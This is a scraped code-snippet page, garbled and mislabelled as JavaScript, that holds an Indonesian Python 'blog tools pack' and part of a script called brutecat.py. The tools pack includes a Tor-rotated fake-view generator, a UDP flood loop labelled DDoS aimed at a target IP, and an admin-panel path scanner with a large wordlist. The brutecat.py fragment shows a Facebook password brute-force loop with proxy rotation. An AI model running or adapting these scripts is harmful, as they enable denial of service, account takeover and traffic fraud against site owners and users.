Best JavaScript code snippet using navalia
blog_pack_dec.py
Source:blog_pack_dec.py  
1# -*- coding:utf-8 -*-2import os, sys,socket3from bs4 import BeautifulSoup4from urllib import urlopen as o5import requests6import random7import httplib8from datetime import datetime9import time10from torrequest import TorRequest11os.system('clear')12r = '\033[1;31m'13g = '\033[92;1m'14y = '\033[1;33m'15c = '\033[34;1m'16w = '\033[1;37m'17n = '\033[0;00m'18br = '\033[91;7m'19a = '\033[90m'20def atas():21  logo = a+'''22 ______          _____   ______'''+r+'''  | '''+g+'''CapthaCode404_'''+a+'''23 |_____] |      |     | |  ____'''+r+'''  | '''+g+'''- DeveloperSec45'''+a+'''24 |_____] |_____ |_____| |_____|'''+r+'''  | '''+g+'''   - BlackCoderCrush'''+w+'''25                 ToolsBox [ '''+y+'''1.1'''+w+''' ] 26'''27  print logo28  print y+'    ['+a+'_____'+r+'Tools Pack Untuk Blog 2020'+a+'_____'+y+']'29def menu():30  menu = w+'''31    #>Visitor32        |__> 1) '''+y+'''AutoVisitor'''+w+'''33        |__> 2) '''+y+'''Jingling Web Orang ( Attack ) '''+c+'''// Premium Tools'''+w+'''34    '''+g+'''<'''+r+'''+'''+a+'''---------------------------------'''+r+'''+'''+g+'''>'''+w+'''35     #>InfoBlog36        |__> 3) '''+y+'''All_Info_Web'''+w+'''37        |__> 4) '''+y+'''TCP Port Scan'''+w+'''38        |__> 5) '''+y+'''Check Header'''+w+'''39    '''+g+'''<'''+r+'''+'''+a+'''---------------------------------'''+r+'''+'''+g+'''>'''+w+'''40     #>Setting Blog41        |__> 6) '''+y+'''Hilangkan ?m=1 di web'''+w+'''42        |__> 7) '''+y+'''Hilangkan Tanggal Dan Waktu'''+w+'''43    '''+g+'''<'''+r+'''+'''+a+'''---------------------------------'''+r+'''+'''+g+'''>'''+w+'''44     #>Web Ataccking45        |__> 8) '''+y+'''Ddos'''+w+'''46        |__> 9) '''+y+'''Bug Finder '''+c+'''//Premium'''+w+'''47        |__> 10) '''+y+'''Admin Finder'''+w+'''48        |__> 11) '''+y+'''Dorker Tools '''+c+'''//Premium'''+w+'''49    '''+g+'''<'''+r+'''+'''+a+'''---------------------------------'''+r+'''+'''+g+'''>'''+w+'''50     #>Tools Info51        |__> 12) '''+y+'''About Tools'''+w+'''52        |__> 13) '''+y+'''Contact'''+w+'''53    '''+g+'''<'''+r+'''+'''+a+'''---------------------------------'''+r+'''+'''+g+'''>'''54  print menu55  men_in = raw_input(g+'Pilih Tools :'+y)56  if men_in == "1":57    headers = {	"User-Agent":"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36"}58    proxyPort=905059    ctrlPort=905160    site = raw_input("Enter your Blog Address : ")61    blog = input("Enter The number of Viewers : ")62    def run():63         response = tr.get(site, headers=headers,verify=False)64         print g+"["+str(i)+"]" + " Blog View Added With IP:"+tr.get('http://ipecho.net/plain').content65         tr.reset_identity()66    if __name__ == '__main__':67	    if len(sys.argv) > 3:68	       if sys.argv[1] and sys.argv[2]:69		    proxyPort=sys.argv[1]70		    ctrlPort=sys.argv[2]	71	    with TorRequest(proxy_port=proxyPort, ctrl_port=ctrlPort, password=None) as tr:72	        for i in range(blog):73		      run()74  elif men_in =="3":75    print y+'Don Use Https/http'76    target = raw_input(g+'#> '+w)77    def ip():78      try: 79        IP = socket.gethostbyname(target) 80        print "IP address of " +g+ target +w+ " is " +g+ IP +w81      except socket.gaierror: 82        print "Unable to resolve " + target83    84    def http():85      page = o('https://api.hackertarget.com/httpheaders/?q='+target).read()86      print page87    def dns():88      page = o('https://api.hackertarget.com/dnslookup/?q='+target).read()89      print page90    def geo():91      IP = socket.gethostbyname(target)92      page = o('https://api.hackertarget.com/geoip/?q='+IP).read()93      print page94    print '''95  <-----------IP WEB / BLOG----------->'''96    ip()97    print '''98  <-----------PORT----------->'''99    print w+target+g+':80'+w100    print '''101  <-----------HTTP Header----------->'''+g102    http()103    print w+'''104  <-----------Domain Name Server----------->'''+g105    dns()106    print w+'''107  <-----------Geo Ip----------->'''+g108    geo()109#4####110  if men_in == "4":111    print y+'Don Use Https/http'112    target = raw_input(g+'#> '+w)113    page = o('https://api.hackertarget.com/nmap/?q='+target).read() 114    print g+page115#5###116  if men_in == "5":117    print y+'Don Use Https/http'118    target = raw_input(g+'#> '+w)119    page = o('https://api.hackertarget.com/httpheaders/?q='+target).read()120    print121    print g+page122##6###123  if men_in == "6":124    print y+('Masukan Lokasi Template Blog Anda')125    path = raw_input(g+'#>'+w)126    template = open(path, "r+")127    ganti = '''<script type='text/javascript'>128var uri = window.location.toString(); if (uri.indexOf("%3D","%3D") > 0) {var clean_uri = uri.substring(0, uri.indexOf("%3D")); window.history.replaceState({}, document.title, clean_uri);}var uri = window.location.toString();if (uri.indexOf("%3D%3D","%3D%3D") > 0) {var clean_uri = uri.substring(0, uri.indexOf("%3D%3D")); window.history.replaceState({}, document.title, clean_uri);}129var uri = window.location.toString(); if (uri.indexOf("&m=1","&m=1") > 0) {var clean_uri = uri.substring(0, uri.indexOf("&m=1")); window.history.replaceState({}, document.title, clean_uri);}130var uri = window.location.toString();if (uri.indexOf("?m=1","?m=1") > 0) {var clean_uri = uri.substring(0, uri.indexOf("?m=1")); window.history.replaceState({}, document.title, clean_uri);}131</script></body>'''132    hm = template.read().replace('</body>', ganti)133    al = open('hasil_hilang_m1.xml', 'w')134    al.write(hm)135    al.close()136    template.close()137    print w+'['+g+'â'+w+']'+a+'Success Saved '+g+'hasil_hilang_m1.xml'+a+', Upload (hasil_hilang_m1.xml) ke blog'138  139  if men_in == "7":140    print y+('Masukan Lokasi Template Blog Anda')141    path = raw_input(g+'#>'+w)142    template = open(path, "r+")143    ganti = '''<script type='text/javascript'>144//<![CDATA[145// BloggerJS v0.3.1146// Copyright (c) 2017-2018 Kenny Cruz147// Licensed under the MIT License148var urlTotal,nextPageToken,postsDatePrefix=!1,accessOnly=!1,useApiV3=!1,apiKey="",blogId="",postsOrPages=["pages","posts"],jsonIndex=1,secondRequest=!0,feedPriority=0,amp="&"[0];function urlVal(){var e=window.location.pathname,t=e.length;return".html"===e.substring(t-5)?0:t>1?1:2}function urlMod(){var e=window.location.pathname;"p"===e.substring(1,2)?(e=(e=e.substring(e.indexOf("/",1)+1)).substr(0,e.indexOf(".html")),history.replaceState(null,null,"../"+e)):(e=(e=postsDatePrefix?e.substring(1):e.substring(e.indexOf("/",7)+1)).substr(0,e.indexOf(".html")),history.replaceState(null,null,"../../"+e))}function urlSearch(e,t){var n=e+".html";t.forEach(function(e){-1!==e.search(n)&&(window.location=e)})}function urlManager(){var e=urlVal();0===e?accessOnly||urlMod():1===e?getJSON(postsOrPages[feedPriority],1):2===e&&(accessOnly||history.replaceState(null,null,"/"))}function getJSON(e,t){var n=document.createElement("script");if(useApiV3){var o="https://www.googleapis.com/blogger/v3/blogs/"+blogId+"/"+e+"?key="+apiKey+"#maxResults=500#fields=nextPageToken%2Citems(url)#callback=bloggerJSON";nextPageToken&&(o+="#pageToken="+nextPageToken),nextPageToken=void 0}else o=window.location.protocol+"//"+window.location.hostname+"/feeds/"+e+"/default?start-index="+t+"#max-results=150#orderby=published#alt=json-in-script#callback=bloggerJSON";o=o.replace(/#/g,amp),n.type="text/javascript",n.src=o,document.getElementsByTagName("head")[0].appendChild(n)}function bloggerJSON(e){var t=[];if(useApiV3||void 0===urlTotal&&(urlTotal=parseInt(e.feed.openSearch$totalResults.$t)),useApiV3){try{e.items.forEach(function(e,n){t.push(e.url)})}catch(e){}nextPageToken=e.nextPageToken}else try{e.feed.entry.forEach(function(n,o){var r=e.feed.entry[o];r.link.forEach(function(e,n){"alternate"===r.link[n].rel&&t.push(r.link[n].href)})})}catch(e){}urlSearch(window.location.pathname,t),urlTotal>150?(jsonIndex+=150,urlTotal-=150,getJSON(postsOrPages[feedPriority],jsonIndex)):nextPageToken?getJSON(postsOrPages[feedPriority]):secondRequest&&(nextPageToken=void 0,urlTotal=void 0,jsonIndex=1,secondRequest=!1,0===feedPriority?(feedPriority=1,getJSON("posts",1)):1===feedPriority&&(feedPriority=0,getJSON("pages",1)))}function bloggerJS(e){e&&(feedPriority=e),urlManager()}bloggerJS();149//]]>150</script></body>'''151    hm = template.read().replace('</body>', ganti)152    al = open('hasil_hilang_m1.xml', 'w')153    al.write(hm)154    al.close()155    template.close()156    print w+'['+g+'â'+w+']'+a+'Success Saved '+g+'hasil_hilang_m1.xml'+a+', Upload (hasil_hilang_m1.xml) ke blog'157  if men_in == "8":158    now = datetime.now()159    hour = now.hour160    minute = now.minute161    day = now.day162    month = now.month163    year = now.year164    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)165    bytes = random._urandom(1490)166    ip = raw_input(g+"IP Target : "+w)167    port = input(g+"Port       : "+w)168    sent = 0169    while True:170      sock.sendto(bytes, (ip,port))171      sent = sent + 1172      port = port + 1173      print g+"Kirim %s Virus Ke %s Dengan Port:%s"%(sent,ip,port)174      if port == 65534:175        port = 1176  if men_in == "10": 177    url = raw_input(g+'Target : '+w)178    passe = ('admin/','administrator/','login.php','administration/','admin1/','admin2/','admin3/','admin4/','admin5/','moderator/','webadmin/','adminarea/','bb-admin/','adminLogin/','admin_area/','panel-administracion/','instadmin/',179'memberadmin/','administratorlogin/','adm/','account.asp','admin/account.asp','admin/index.asp','admin/login.asp','admin/admin.asp','/login.aspx',180'admin_area/admin.asp','admin_area/login.asp','admin/account.html','admin/index.html','admin/login.html','admin/admin.html',181'admin_area/admin.html','admin_area/login.html','admin_area/index.html','admin_area/index.asp','bb-admin/index.asp','bb-admin/login.asp','bb-admin/admin.asp',182'bb-admin/index.html','bb-admin/login.html','bb-admin/admin.html','admin/home.html','admin/controlpanel.html','admin.html','admin/cp.html','cp.html',183'administrator/index.html','administrator/login.html','administrator/account.html','administrator.html','login.html','modelsearch/login.html','moderator.html',184'moderator/login.html','moderator/admin.html','account.html','controlpanel.html','admincontrol.html','admin_login.html','panel-administracion/login.html',185'admin/home.asp','admin/controlpanel.asp','admin.asp','pages/admin/admin-login.asp','admin/admin-login.asp','admin-login.asp','admin/cp.asp','cp.asp',186'administrator/account.asp','administrator.asp','acceso.asp','login.asp','modelsearch/login.asp','moderator.asp','moderator/login.asp','administrator/login.asp',187'moderator/admin.asp','controlpanel.asp','admin/account.html','adminpanel.html','webadmin.html','administration','pages/admin/admin-login.html','admin/admin-login.html',188'webadmin/index.html','webadmin/admin.html','webadmin/login.html','user.asp','user.html','admincp/index.asp','admincp/login.asp','admincp/index.html',189'admin/adminLogin.html','adminLogin.html','admin/adminLogin.html','home.html','adminarea/index.html','adminarea/admin.html','adminarea/login.html',190'panel-administracion/index.html','panel-administracion/admin.html','modelsearch/index.html','modelsearch/admin.html','admin/admin_login.html',191'admincontrol/login.html','adm/index.html','adm.html','admincontrol.asp','admin/account.asp','adminpanel.asp','webadmin.asp','webadmin/index.asp',192'webadmin/admin.asp','webadmin/login.asp','admin/admin_login.asp','admin_login.asp','panel-administracion/login.asp','adminLogin.asp',193'admin/adminLogin.asp','home.asp','admin.asp','adminarea/index.asp','adminarea/admin.asp','adminarea/login.asp','admin-login.html',194'panel-administracion/index.asp','panel-administracion/admin.asp','modelsearch/index.asp','modelsearch/admin.asp','administrator/index.asp',195'admincontrol/login.asp','adm/admloginuser.asp','admloginuser.asp','admin2.asp','admin2/login.asp','admin2/index.asp','adm/index.asp',196'adm.asp','affiliate.asp','adm_auth.asp','memberadmin.asp','administratorlogin.asp','siteadmin/login.asp','siteadmin/index.asp','siteadmin/login.html','memberadmin/','administratorlogin/','adm/','admin/account.php','admin/index.php','admin/login.php','admin/admin.php','admin/account.php',197'admin_area/admin.php','admin_area/login.php','siteadmin/login.php','siteadmin/index.php','siteadmin/login.html','admin/account.html','admin/index.html','admin/login.html','admin/admin.html',198'admin_area/index.php','bb-admin/index.php','bb-admin/login.php','bb-admin/admin.php','admin/home.php','admin_area/login.html','admin_area/index.html',199'admin/controlpanel.php','admin.php','admincp/index.asp','admincp/login.asp','admincp/index.html','admin/account.html','adminpanel.html','webadmin.html',200'webadmin/index.html','webadmin/admin.html','webadmin/login.html','admin/admin_login.html','admin_login.html','panel-administracion/login.html',201'admin/cp.php','cp.php','administrator/index.php','administrator/login.php','nsw/admin/login.php','webadmin/login.php','admin/admin_login.php','admin_login.php',202'administrator/account.php','administrator.php','admin_area/admin.html','pages/admin/admin-login.php','admin/admin-login.php','admin-login.php',203'bb-admin/index.html','bb-admin/login.html','acceso.php','bb-admin/admin.html','admin/home.html','login.php','modelsearch/login.php','moderator.php','moderator/login.php',204'moderator/admin.php','account.php','pages/admin/admin-login.html','admin/admin-login.html','admin-login.html','controlpanel.php','admincontrol.php',205'admin/adminLogin.html','adminLogin.html','admin/adminLogin.html','home.html','rcjakar/admin/login.php','adminarea/index.html','adminarea/admin.html',206'webadmin.php','webadmin/index.php','webadmin/admin.php','admin/controlpanel.html','admin.html','admin/cp.html','cp.html','adminpanel.php','moderator.html',207'administrator/index.html','administrator/login.html','user.html','administrator/account.html','administrator.html','login.html','modelsearch/login.html',208'moderator/login.html','adminarea/login.html','panel-administracion/index.html','panel-administracion/admin.html','modelsearch/index.html','modelsearch/admin.html',209'admincontrol/login.html','adm/index.html','adm.html','moderator/admin.html','user.php','account.html','controlpanel.html','admincontrol.html',210'panel-administracion/login.php','wp-login.php','adminLogin.php','admin/adminLogin.php','home.php','admin.php','adminarea/index.php',211'adminarea/admin.php','adminarea/login.php','panel-administracion/index.php','panel-administracion/admin.php','modelsearch/index.php',212'modelsearch/admin.php','admincontrol/login.php','adm/admloginuser.php','admloginuser.php','admin2.php','admin2/login.php','admin2/index.php','usuarios/login.php',213'adm/index.php','adm.php','affiliate.php','adm_auth.php','memberadmin.php','administratorlogin.php','adm/','admin/account.cfm','admin/index.cfm','admin/login.cfm','admin/admin.cfm','admin/account.cfm',214'admin_area/admin.cfm','admin_area/login.cfm','siteadmin/login.cfm','siteadmin/index.cfm','siteadmin/login.html','admin/account.html','admin/index.html','admin/login.html','admin/admin.html',215'admin_area/index.cfm','bb-admin/index.cfm','bb-admin/login.cfm','bb-admin/admin.cfm','admin/home.cfm','admin_area/login.html','admin_area/index.html',216'admin/controlpanel.cfm','admin.cfm','admincp/index.asp','admincp/login.asp','admincp/index.html','admin/account.html','adminpanel.html','webadmin.html',217'webadmin/index.html','webadmin/admin.html','webadmin/login.html','admin/admin_login.html','admin_login.html','panel-administracion/login.html',218'admin/cp.cfm','cp.cfm','administrator/index.cfm','administrator/login.cfm','nsw/admin/login.cfm','webadmin/login.cfm','admin/admin_login.cfm','admin_login.cfm',219'administrator/account.cfm','administrator.cfm','admin_area/admin.html','pages/admin/admin-login.cfm','admin/admin-login.cfm','admin-login.cfm',220'bb-admin/index.html','bb-admin/login.html','bb-admin/admin.html','admin/home.html','login.cfm','modelsearch/login.cfm','moderator.cfm','moderator/login.cfm',221'moderator/admin.cfm','account.cfm','pages/admin/admin-login.html','admin/admin-login.html','admin-login.html','controlpanel.cfm','admincontrol.cfm',222'admin/adminLogin.html','acceso.cfm','adminLogin.html','admin/adminLogin.html','home.html','rcjakar/admin/login.cfm','adminarea/index.html','adminarea/admin.html',223'webadmin.cfm','webadmin/index.cfm','webadmin/admin.cfm','admin/controlpanel.html','admin.html','admin/cp.html','cp.html','adminpanel.cfm','moderator.html',224'administrator/index.html','administrator/login.html','user.html','administrator/account.html','administrator.html','login.html','modelsearch/login.html',225'moderator/login.html','adminarea/login.html','panel-administracion/index.html','panel-administracion/admin.html','modelsearch/index.html','modelsearch/admin.html',226'admincontrol/login.html','adm/index.html','adm.html','moderator/admin.html','user.cfm','account.html','controlpanel.html','admincontrol.html',227'panel-administracion/login.cfm','wp-login.cfm','adminLogin.cfm','admin/adminLogin.cfm','home.cfm','admin.cfm','adminarea/index.cfm',228'adminarea/admin.cfm','adminarea/login.cfm','panel-administracion/index.cfm','panel-administracion/admin.cfm','modelsearch/index.cfm',229'modelsearch/admin.cfm','admincontrol/login.cfm','adm/admloginuser.cfm','admloginuser.cfm','admin2.cfm','admin2/login.cfm','admin2/index.cfm','usuarios/login.cfm',230'adm/index.cfm','adm.cfm','affiliate.cfm','adm_auth.cfm','memberadmin.cfm','administratorlogin.cfm','adminLogin/','admin_area/','panel-administracion/','instadmin/','login.aspx',231'memberadmin/','administratorlogin/','adm/','admin/account.aspx','admin/index.aspx','admin/login.aspx','admin/admin.aspx','admin/account.aspx',232'admin_area/admin.aspx','admin_area/login.aspx','siteadmin/login.aspx','siteadmin/index.aspx','siteadmin/login.html','admin/account.html','admin/index.html','admin/login.html','admin/admin.html',233'admin_area/index.aspx','bb-admin/index.aspx','bb-admin/login.aspx','bb-admin/admin.aspx','admin/home.aspx','admin_area/login.html','admin_area/index.html',234'admin/controlpanel.aspx','admin.aspx','admincp/index.asp','admincp/login.asp','admincp/index.html','admin/account.html','adminpanel.html','webadmin.html',235'webadmin/index.html','webadmin/admin.html','webadmin/login.html','admin/admin_login.html','admin_login.html','panel-administracion/login.html',236'admin/cp.aspx','cp.aspx','administrator/index.aspx','administrator/login.aspx','nsw/admin/login.aspx','webadmin/login.aspx','admin/admin_login.aspx','admin_login.aspx',237'administrator/account.aspx','administrator.aspx','admin_area/admin.html','pages/admin/admin-login.aspx','admin/admin-login.aspx','admin-login.aspx',238'bb-admin/index.html','bb-admin/login.html','bb-admin/admin.html','admin/home.html','login.aspx','modelsearch/login.aspx','moderator.aspx','moderator/login.aspx',239'moderator/admin.aspx','acceso.aspx','account.aspx','pages/admin/admin-login.html','admin/admin-login.html','admin-login.html','controlpanel.aspx','admincontrol.aspx',240'admin/adminLogin.html','adminLogin.html','admin/adminLogin.html','home.html','rcjakar/admin/login.aspx','adminarea/index.html','adminarea/admin.html',241'webadmin.aspx','webadmin/index.aspx','webadmin/admin.aspx','admin/controlpanel.html','admin.html','admin/cp.html','cp.html','adminpanel.aspx','moderator.html',242'administrator/index.html','administrator/login.html','user.html','administrator/account.html','administrator.html','login.html','modelsearch/login.html',243'moderator/login.html','adminarea/login.html','panel-administracion/index.html','panel-administracion/admin.html','modelsearch/index.html','modelsearch/admin.html',244'admincontrol/login.html','adm/index.html','adm.html','moderator/admin.html','user.aspx','account.html','controlpanel.html','admincontrol.html',245'panel-administracion/login.aspx','wp-login.aspx','adminLogin.aspx','admin/adminLogin.aspx','home.aspx','admin.aspx','adminarea/index.aspx',246'adminarea/admin.aspx','adminarea/login.aspx','panel-administracion/index.aspx','panel-administracion/admin.aspx','modelsearch/index.aspx',247'modelsearch/admin.aspx','admincontrol/login.aspx','adm/admloginuser.aspx','admloginuser.aspx','admin2.aspx','admin2/login.aspx','admin2/index.aspx','usuarios/login.aspx',248'adm/index.aspx','adm.aspx','affiliate.aspx','adm_auth.aspx','memberadmin.aspx','administratorlogin.aspx','memberadmin/','administratorlogin/','adm/','admin/account.js','admin/index.js','admin/login.js','admin/admin.js','admin/account.js',249'admin_area/admin.js','admin_area/login.js','siteadmin/login.js','siteadmin/index.js','siteadmin/login.html','admin/account.html','admin/index.html','admin/login.html','admin/admin.html',250'admin_area/index.js','bb-admin/index.js','bb-admin/login.js','bb-admin/admin.js','admin/home.js','admin_area/login.html','admin_area/index.html',251'admin/controlpanel.js','admin.js','admincp/index.asp','admincp/login.asp','admincp/index.html','admin/account.html','adminpanel.html','webadmin.html',252'webadmin/index.html','webadmin/admin.html','webadmin/login.html','admin/admin_login.html','admin_login.html','panel-administracion/login.html',253'admin/cp.js','cp.js','administrator/index.js','administrator/login.js','nsw/admin/login.js','webadmin/login.js','admin/admin_login.js','admin_login.js',254'administrator/account.js','administrator.js','admin_area/admin.html','pages/admin/admin-login.js','admin/admin-login.js','admin-login.js',255'bb-admin/index.html','bb-admin/login.html','bb-admin/admin.html','admin/home.html','login.js','modelsearch/login.js','moderator.js','moderator/login.js',256'moderator/admin.js','account.js','pages/admin/admin-login.html','admin/admin-login.html','admin-login.html','controlpanel.js','admincontrol.js',257'admin/adminLogin.html','adminLogin.html','admin/adminLogin.html','home.html','rcjakar/admin/login.js','adminarea/index.html','adminarea/admin.html',258'webadmin.js','webadmin/index.js','acceso.js','webadmin/admin.js','admin/controlpanel.html','admin.html','admin/cp.html','cp.html','adminpanel.js','moderator.html',259'administrator/index.html','administrator/login.html','user.html','administrator/account.html','administrator.html','login.html','modelsearch/login.html',260'moderator/login.html','adminarea/login.html','panel-administracion/index.html','panel-administracion/admin.html','modelsearch/index.html','modelsearch/admin.html',261'admincontrol/login.html','adm/index.html','adm.html','moderator/admin.html','user.js','account.html','controlpanel.html','admincontrol.html',262'panel-administracion/login.js','wp-login.js','adminLogin.js','admin/adminLogin.js','home.js','admin.js','adminarea/index.js',263'adminarea/admin.js','adminarea/login.js','panel-administracion/index.js','panel-administracion/admin.js','modelsearch/index.js',264'modelsearch/admin.js','admincontrol/login.js','adm/admloginuser.js','admloginuser.js','admin2.js','admin2/login.js','admin2/index.js','usuarios/login.js',265'adm/index.js','adm.js','affiliate.js','adm_auth.js','memberadmin.js','administratorlogin.js','bb-admin/index.cgi','bb-admin/login.cgi','bb-admin/admin.cgi','admin/home.cgi','admin_area/login.html','admin_area/index.html',266'admin/controlpanel.cgi','admin.cgi','admincp/index.asp','admincp/login.asp','admincp/index.html','admin/account.html','adminpanel.html','webadmin.html',267'webadmin/index.html','webadmin/admin.html','webadmin/login.html','admin/admin_login.html','admin_login.html','panel-administracion/login.html',268'admin/cp.cgi','cp.cgi','administrator/index.cgi','administrator/login.cgi','nsw/admin/login.cgi','webadmin/login.cgi','admin/admin_login.cgi','admin_login.cgi',269'administrator/account.cgi','administrator.cgi','admin_area/admin.html','pages/admin/admin-login.cgi','admin/admin-login.cgi','admin-login.cgi',270'bb-admin/index.html','bb-admin/login.html','bb-admin/admin.html','admin/home.html','login.cgi','modelsearch/login.cgi','moderator.cgi','moderator/login.cgi',271'moderator/admin.cgi','account.cgi','pages/admin/admin-login.html','admin/admin-login.html','admin-login.html','controlpanel.cgi','admincontrol.cgi',272'admin/adminLogin.html','adminLogin.html','admin/adminLogin.html','home.html','rcjakar/admin/login.cgi','adminarea/index.html','adminarea/admin.html',273'webadmin.cgi','webadmin/index.cgi','acceso.cgi','webadmin/admin.cgi','admin/controlpanel.html','admin.html','admin/cp.html','cp.html','adminpanel.cgi','moderator.html',274'administrator/index.html','administrator/login.html','user.html','administrator/account.html','administrator.html','login.html','modelsearch/login.html',275'moderator/login.html','adminarea/login.html','panel-administracion/index.html','panel-administracion/admin.html','modelsearch/index.html','modelsearch/admin.html',276'admincontrol/login.html','adm/index.html','adm.html','moderator/admin.html','user.cgi','account.html','controlpanel.html','admincontrol.html',277'panel-administracion/login.cgi','wp-login.cgi','adminLogin.cgi','admin/adminLogin.cgi','home.cgi','admin.cgi','adminarea/index.cgi',278'adminarea/admin.cgi','adminarea/login.cgi','panel-administracion/index.cgi','panel-administracion/admin.cgi','modelsearch/index.cgi',279'modelsearch/admin.cgi','admincontrol/login.cgi','adm/admloginuser.cgi','admloginuser.cgi','admin2.cgi','admin2/login.cgi','admin2/index.cgi','usuarios/login.cgi',280'adm/index.cgi','adm.cgi','affiliate.cgi','adm_auth.cgi','memberadmin.cgi','administratorlogin.cgi','admin_area/admin.brf','admin_area/login.brf','siteadmin/login.brf','siteadmin/index.brf','siteadmin/login.html','admin/account.html','admin/index.html','admin/login.html','admin/admin.html',281'admin_area/index.brf','bb-admin/index.brf','bb-admin/login.brf','bb-admin/admin.brf','admin/home.brf','admin_area/login.html','admin_area/index.html',282'admin/controlpanel.brf','admin.brf','admincp/index.asp','admincp/login.asp','admincp/index.html','admin/account.html','adminpanel.html','webadmin.html',283'webadmin/index.html','webadmin/admin.html','webadmin/login.html','admin/admin_login.html','admin_login.html','panel-administracion/login.html',284'admin/cp.brf','cp.brf','administrator/index.brf','administrator/login.brf','nsw/admin/login.brf','webadmin/login.brfbrf','admin/admin_login.brf','admin_login.brf',285'administrator/account.brf','administrator.brf','acceso.brf','admin_area/admin.html','pages/admin/admin-login.brf','admin/admin-login.brf','admin-login.brf',286'bb-admin/index.html','bb-admin/login.html','bb-admin/admin.html','admin/home.html','login.brf','modelsearch/login.brf','moderator.brf','moderator/login.brf',287'moderator/admin.brf','account.brf','pages/admin/admin-login.html','admin/admin-login.html','admin-login.html','controlpanel.brf','admincontrol.brf',288'admin/adminLogin.html','adminLogin.html','admin/adminLogin.html','home.html','rcjakar/admin/login.brf','adminarea/index.html','adminarea/admin.html',289'webadmin.brf','webadmin/index.brf','webadmin/admin.brf','admin/controlpanel.html','admin.html','admin/cp.html','cp.html','adminpanel.brf','moderator.html',290'administrator/index.html','administrator/login.html','user.html','administrator/account.html','administrator.html','login.html','modelsearch/login.html',291'moderator/login.html','adminarea/login.html','panel-administracion/index.html','panel-administracion/admin.html','modelsearch/index.html','modelsearch/admin.html',292'admincontrol/login.html','adm/index.html','adm.html','moderator/admin.html','user.brf','account.html','controlpanel.html','admincontrol.html',293'panel-administracion/login.brf','wp-login.brf','adminLogin.brf','admin/adminLogin.brf','home.brf','admin.brf','adminarea/index.brf',294'adminarea/admin.brf','adminarea/login.brf','panel-administracion/index.brf','panel-administracion/admin.brf','modelsearch/index.brf',295'modelsearch/admin.brf','admincontrol/login.brf','adm/admloginuser.brf','admloginuser.brf','admin2.brf','admin2/login.brf','admin2/index.brf','usuarios/login.brf',296'adm/index.brf','adm.brf','affiliate.brf','adm_auth.brf','memberadmin.brf','administratorlogin.brf','cpanel','cpanel.php','cpanel.html',)297    for hani in passe :298      curl = url+hani299      web = requests.get(curl)300      if web.status_code==404:301        print curl+y+'  ['+r+'X'+y+']'+r+'Gak Di Temukan /Not Found'+w302      elif web.status_code==200:303        print curl+y+'  ['+g+'â'+y+']'+g+'Ditemukan / 200ok'+w304        os.system('sleep 3.6')305  if men_in=="12":306    about = r+"""307</"""+g+"""-----------------ABOUT-----------------"""+r+"""/>"""+w+"""308    Created by     : CapthaCode404_309    Tools          : Blog Tools Pack310    Version        : 1.1311    Premium        : Hub +6283870386264312    Thanks To      : Developer Security45 - BlackCoderCrush"""+r+"""313</"""+g+"""-----------------ABOUT-----------------"""+r+"""/>"""314    print about315  if men_in == "13":316    os.system('xdg-open https://wa.me/6283870386264')317atas()...brutecat.py
Source:brutecat.py  
...31		read = open(password, 'r')32		for word in read:33			if count % 10 != 0:34				word = word.strip('\n')35				fblogin(email, word, count)36				count += 137			else:38				upip()39				msg = getproxy()40				print(cl.blue+msg+cl.end)41				word = word.strip('\n')42				fblogin(email, word, count)43				count += 144	#twitter attack45	elif choose == "2":46		print("In The Next Version!")47		exit(1)48	#gmail attack49	if choose == "3":50		print("In The Next Version!")51		exit(1)52	#admin finder53	elif choose == "4":54		print("[*]Start Admin Finder Attack!\n")55		adminlist = ['admin/','administrator/','admin1/','admin2/','admin3/','admin4/','admin5/','usuarios/','usuario/','administrator/','moderator/','webadmin/','adminarea/','bb-admin/','adminLogin/','admin_area/','panel-administracion/','instadmin/','memberadmin/','administratorlogin/','adm/','admin/account.php','admin/index.php','admin/login.php','admin/admin.php','admin/account.php','admin_area/admin.php','admin_area/login.php','siteadmin/login.php','siteadmin/index.php','siteadmin/login.html','admin/account.html','admin/index.html','admin/login.html','admin/admin.html','admin_area/index.php','bb-admin/index.php','bb-admin/login.php','bb-admin/admin.php','admin/home.php','admin_area/login.html','admin_area/index.html','admin/controlpanel.php','admin.php','admincp/index.asp','admincp/login.asp','admincp/index.html','admin/account.html','adminpanel.html','webadmin.html','webadmin/index.html','webadmin/admin.html','webadmin/login.html','admin/admin_login.html','admin_login.html','panel-administracion/login.html','admin/cp.php','cp.php','administrator/index.php','administrator/login.php','nsw/admin/login.php','webadmin/login.php','admin/admin_login.php','admin_login.php','administrator/account.php','administrator.php','admin_area/admin.html','pages/admin/admin-login.php','admin/admin-login.php','admin-login.php','bb-admin/index.html','bb-admin/login.html','acceso.php','bb-admin/admin.html','admin/home.html','login.php','modelsearch/login.php','moderator.php','moderator/login.php','moderator/admin.php','account.php','pages/admin/admin-login.html','admin/admin-login.html','admin-login.html','controlpanel.php','admincontrol.php','admin/adminLogin.html','adminLogin.html','admin/adminLogin.html','home.html','rcjakar/admin/login.php','adminarea/index.html','adminarea/admin.html','webadmin.php','webadmin/index.php','webadmin/admin.php','admin/controlpanel.html','admin.html','admin/cp.html','cp.html','adminpanel.php','moderator.html','administrator/index.html','administrator/login.html','user.html','administrator/account.html','administrator.html','login.html','modelsearch/login.html','moderator/login.html','adminarea/login.html','panel-administracion/index.html','panel-administracion/admin.html','modelsearch/index.html','modelsearch/admin.html','admincontrol/login.html','adm/index.html','adm.html','moderator/admin.html','user.php','account.html','controlpanel.html','admincontrol.html','panel-administracion/login.php','wp-login.php','adminLogin.php','admin/adminLogin.php','home.php','admin.php','adminarea/index.php','adminarea/admin.php','adminarea/login.php','panel-administracion/index.php','panel-administracion/admin.php','modelsearch/index.php','modelsearch/admin.php','admincontrol/login.php','adm/admloginuser.php','admloginuser.php','admin2.php','admin2/login.php','admin2/index.php','usuarios/login.php','adm/index.php','adm.php','affiliate.php','adm_auth.php','memberadmin.php','administratorlogin.php','admin/','administrator/','admin1/','admin2/','admin3/','admin4/','admin5/','moderator/','webadmin/','adminarea/','bb-admin/','adminLogin/','admin_area/','panel-administracion/','instadmin/','memberadmin/','administratorlogin/','adm/','account.asp','admin/account.asp','admin/index.asp','admin/login.asp','admin/admin.asp','admin_area/admin.asp','admin_area/login.asp','admin/account.html','admin/index.html','admin/login.html','admin/admin.html','admin_area/admin.html','admin_area/login.html','admin_area/index.html','admin_area/index.asp','bb-admin/index.asp','bb-admin/login.asp','bb-admin/admin.asp',